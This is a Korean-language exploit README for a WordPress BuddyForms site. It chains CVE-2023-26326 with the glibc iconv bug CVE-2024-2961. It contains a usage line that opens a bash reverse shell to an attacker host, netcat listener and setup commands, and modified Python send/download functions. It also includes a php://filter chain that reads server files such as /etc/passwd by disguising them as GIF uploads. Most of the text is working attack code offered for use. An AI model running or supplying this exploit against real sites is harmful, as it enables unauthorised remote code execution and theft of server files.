
usage: python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
원래 CVE-2023–26326은 역직렬화 취약점으로 악용하기 위해 가젯 체인(gadget chain)이 필요했습니다. 이 방법은 PHP 8+에서 실행되는 최신 WordPress 사이트에서는 더 이상 사용할 수 없습니다. 그러나 CVE-2024-2961](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)과 체이닝하면 phar:// 대신 php://filter를 통해 익스플로잇이 가능해집니다.
이 익스플로잇은 cnext-exploit.py 스크립트를 수정하여 만들어졌으며, 변경 사항 설명에 자세히 설명된 대로 CVE-2023-26326에 필요한 변경 사항이 포함되어 있습니다.
git clone https://github.com/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961.git
cd exploit_cve-2023–26326_using_cve-2024-2961
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
<ATTACKER_PORT>에서 netcat 리스너를 시작합니다:nc -lvnp <ATTACKER_PORT>
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
exploit 실행 스크린샷
리버스 셸 캡처 스크린샷
CVE-2024-2961 익스플로잇의 핵심 아이디어는 유지했지만, 필터 체인을 웹사이트로 전송하고 서버에서 파일을 다운로드하도록 조정하기 위한 수정이 필요했습니다.
원래 익스플로잇에서 send 함수는 서버에 경로를 전송하는 데 사용됩니다:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={"file": path})
BuddyForms가 설치된 WordPress의 경우 상호 작용은 기본적으로 /wp-admin/admin-ajax.php에 대한 POST 요청을 통해 이루어지며, 본문 데이터에는 action=upload_image_from_url&url=<INJECT_POINT>&id=1&accepted_files=image/gif이 포함됩니다. URL 매개변수는 필터 체인을 서버로 전송하기 위한 주입 지점 역할을 합니다. 이에 따라 send 함수는 다음과 같이 수정되었습니다:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={
"action" : "upload_image_from_url",
"url" : urllib.parse.quote_plus(path),
"id" : "1",
"accepted_files" : "image/gif"
})
원래 익스플로잇에는 서버에서 파일을 다운로드하는 download 함수가 있었습니다. 다음은 원래 익스플로잇에서 사용된 download 함수 버전입니다:
def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
이를 BuddyForms에 적용하려면 URL에서 이미지를 업로드하는 buddyforms_upload_image_from_url 함수를 분석합니다. 이 함수는 file_get_contents를 사용하고 getimagesize()로 파일 형식을 확인한 다음 콘텐츠를 wp-content/uploads 디렉터리에 저장합니다. 이를 통해 php://filter를 악용해 로컬 파일을 읽고 업로드 디렉터리에 저장하여 URL로 접근 가능하게 만들 수 있습니다. 그러나 파일 형식 검사를 우회하려면 파일 콘텐츠 앞에 GIF89a를 붙여 GIF로 가장해야 합니다. 이는 필터 체이닝을 통해 가능하며, wrapwrap 도구로 필요한 체인을 생성할 수 있습니다:
git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap
./wrapwrap.py /etc/passwd 'GIF89a' '' 1000
wrapwrap으로 필터 체인 생성
생성된 필터 체인은 원래 스크립트에서 사용된 base64 인코딩을 대체해야 합니다. 또한 응답에서 업로드된 파일 경로를 추출하는 형식은 파일 경로로 설정된 "response" 속성을 포함하는 JSON 형식에 맞게 업데이트해야 합니다.
{"status":"OK","response":"http:\/\/victim.site\/wp-content\/uploads\/2025\/02\/1-106.png","attachment_id":261}
{"status":"FAILED","response":"File type is not allowed."}
참고로 익스플로잇에서 파일 콘텐츠를 사용하기 전에 접두사 GIF89a를 제거해야 하며, 그 결과 수정된 download 함수는 다음과 같습니다:
def download(self, path: str) -> bytes:
# Append prefix "GIF89a" to bypass file type check with getimagesize()
path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
response_data = self.send(path).json()
if response_data == "FAILED":
print(f"[-] Unable to download files, error message: {response_data['response']}")
exit(0)
file_path = response_data["response"]
# Remove the prefix "GIF89a"
return self.session.get(file_path).content[6:]
libc.so.6 다운로드참고로 서버에서 libc.so.6 파일을 다운로드할 때 필터 체인과 함께 사용하면 프로세스 중 바이너리가 수정되어 제대로 작동하지 않을 수 있습니다. 대신 올바른 파일을 익스플로잇의 루트 디렉터리에 제공해야 합니다.